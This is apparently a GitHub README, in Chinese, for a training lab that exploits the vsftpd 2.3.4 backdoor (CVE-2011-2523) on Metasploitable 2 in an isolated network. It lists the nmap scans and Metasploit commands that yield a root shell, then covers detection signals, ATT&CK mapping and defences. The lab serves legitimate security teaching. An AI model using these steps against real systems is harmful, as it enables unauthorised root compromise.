cyr6x/metasploit-exploitation-lab
GitHub: cyr6x/metasploit-exploitation-lab
一份以 vsftpd 后门漏洞为核心的 Metasploit 入门渗透实验文档,覆盖攻击利用与防御分析全流程。
Stars: 0 | Forks: 0
# Metasploit 漏洞利用实验
**渗透测试 | 漏洞利用开发 | 权限提升 | 防御分析**
## 为什么这很重要
了解攻击者如何利用系统是防御系统的基础。本实验展示了完整的漏洞利用生命周期——从侦察到获取 root shell——使用了真实威胁参与者所使用的相同工具和技术。每个攻击步骤都配有相应的防御对策。
## 实验环境
| 组件 | 详情 |
|---|---|
| **攻击机** | Kali Linux (VM) |
| **目标机** | Metasploitable 2 (VM) |
| **网络** | Host-Only Adapter(仅主机适配器)— 隔离,无互联网访问 |
| **工具** | Metasploit Framework (msfconsole) |
| **漏洞** | vsftpd 2.3.4 — CVE-2011-2523(后门命令执行) |
## 目标
- 执行网络侦察以识别存活主机和开放端口
- 使用 Metasploit 识别并利用已知的后门漏洞
- 在目标机器上获取 root shell
- 记录完整的攻击链
- 将发现结果映射到 MITRE ATT&CK
- 确定 SOC 检测和预防控制措施
## 漏洞背景
**vsftpd 2.3.4 — CVE-2011-2523**
在 vsftpd 2.3.4 的源代码中被植入了一个恶意后门。当在登录期间发送包含字符串 `:)`(笑脸)的用户名时,后门会在 TCP 端口 **6200** 上打开一个 root shell。这使得任何未经身份验证的攻击者都能立即获得 root 访问权限。
| 字段 | 值 |
|---|---|
| **CVE** | CVE-2011-2523 |
| **CVSS 评分** | 10.0(严重) |
| **受影响版本** | vsftpd 2.3.4 |
| **触发条件** | 在 FTP 登录期间包含 `:)` 的用户名 |
| **结果** | 端口 6200 上的 root shell |
## 攻击演练
### 步骤 1 — 识别目标 IP
```
# 在 Kali 上 — 在网络上查找 Metasploitable 2
nmap -sn 192.168.56.0/24
```
记下目标 IP(例如 `192.168.56.101`)
### 步骤 2 — 端口扫描与服务枚举
```
nmap -sV -p- 192.168.56.101
```
关键发现:
- **端口 21** — vsftpd 2.3.4(**存在漏洞**)
- **端口 22** — OpenSSH
- **端口 80** — Apache httpd (DVWA)
- **端口 3306** — MySQL
### 步骤 3 — 启动 Metasploit
```
msfconsole
```
### 步骤 4 — 加载并配置 Exploit
```
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.56.101
run
```
### 步骤 5 — 确认 Root 权限
```
# 在打开的 shell 中:
whoami
# 预期输出:root
id
# 预期输出:uid=0(root) gid=0(root)
uname -a
# 显示目标 OS 详情
hostname
# 显示目标机器名称
```
## 发现结果
| 字段 | 值 |
|---|---|
| **目标 IP** | *(从你的实验中填入)* |
| **易受攻击的服务** | 端口 21 上的 vsftpd 2.3.4 |
| **CVE** | CVE-2011-2523 |
| **使用的 Exploit** | `exploit/unix/ftp/vsftpd_234_backdoor` |
| **Shell 类型** | Root shell (uid=0) |
| **后门端口** | TCP 6200 |
## MITRE ATT&CK 映射
| 战术 | 技术 | ID |
|---|---|---|
| 侦察 | 主动扫描:端口扫描 | T1595.001 |
| 初始访问 | 利用面向公众的应用程序 | T1190 |
| 执行 | 利用客户端执行 | T1203 |
| 权限提升 | 利用进行权限提升 | T1068 |
| 发现 | 系统信息发现 | T1082 |
| 持久化 | *(未执行 — 实验范围)* | — |
## 截图
```
screenshots/
├── 01-nmap-scan.png # nmap -sV output showing vsftpd 2.3.4 on port 21
├── 02-msfconsole-exploit.png # Metasploit module loaded and configured
├── 03-root-shell.png # whoami / id output confirming root
└── 04-system-info.png # uname -a / hostname output
```
## 防御者要点
### 为什么此漏洞利用会成功
- Metasploitable 2 运行的是故意设置的过时、存在漏洞的软件
- vsftpd 2.3.4 是一次供应链攻击——后门被插入到了官方源码中
- 无需身份验证——任何网络连接的主机都可以利用它
### SOC 如何检测到此攻击
| 信号 | 检测逻辑 |
|---|---|
| **异常的 FTP 登录模式** | 包含 `:)` 的用户名——对 FTP 身份验证中的非字母数字字符发出警报 |
| **端口 6200 上的出站连接** | 端口 6200 是非标准端口——此端口上的任何流量都应触发警报 |
| **从 FTP 进程生成的 root shell** | EDR 进程树:vsftpd 以 uid=0 生成 `/bin/sh` |
| **检测到 Nmap 扫描** | 用于端口扫描模式的 IDS/IPS (Snort/Suricata) 特征 |
### 预防此攻击的控制措施
| 控制措施 | 如何提供帮助 |
|---|---|
| **补丁管理** | vsftpd 2.3.4 自 2011 年起已提供补丁——切勿运行 EOL 软件 |
| **漏洞扫描器**(例如 Nessus、OpenVAS) | 会立即将 CVE-2011-2523 标记为严重 |
| **网络分段** | FTP 服务器不应能直接从不受信任的网络访问 |
| **防火墙规则** | 阻止到非标准端口(例如 6200)的入站连接 |
| **IDS/IPS** | 用于 FTP 流量中 vsftpd 后门触发字符串的 Snort 规则 |
## 学术与专业背景
- **CompTIA Security+ SY0-701** — 领域 4.3:解释与漏洞管理相关的各种活动
- **CompTIA PenTest+ PT0-002** — 领域 3:攻击与漏洞利用
- **NIST SP 800-115** — 信息安全测试技术指南
- **eJPT / CEH** — 核心漏洞利用方法论
## 状态
- [ ] 实验环境已配置(Kali + Metasploitable 2,Host-Only 网络)
- [ ] Nmap 扫描已完成
- [ ] 已通过 Metasploit 利用 vsftpd 后门
- [ ] 已确认 Root shell(whoami = root)
- [ ] 已捕获并提交截图
- [ ] 已完成 MITRE ATT&CK 映射
- [ ] 已填写发现结果表格
标签:CISA项目, CTI, CVE-2011-2523, Nmap, SOC分析, vsftpd, 协议分析, 后门漏洞, 威胁模拟, 安全实验, 插件系统, 攻击链分析, 数据统计, 无线安全, 权限提升, 漏洞复现, 端口扫描, 网络安全, 网络攻防, 虚拟驱动器, 防御分析, 隐私保护, 靶场实验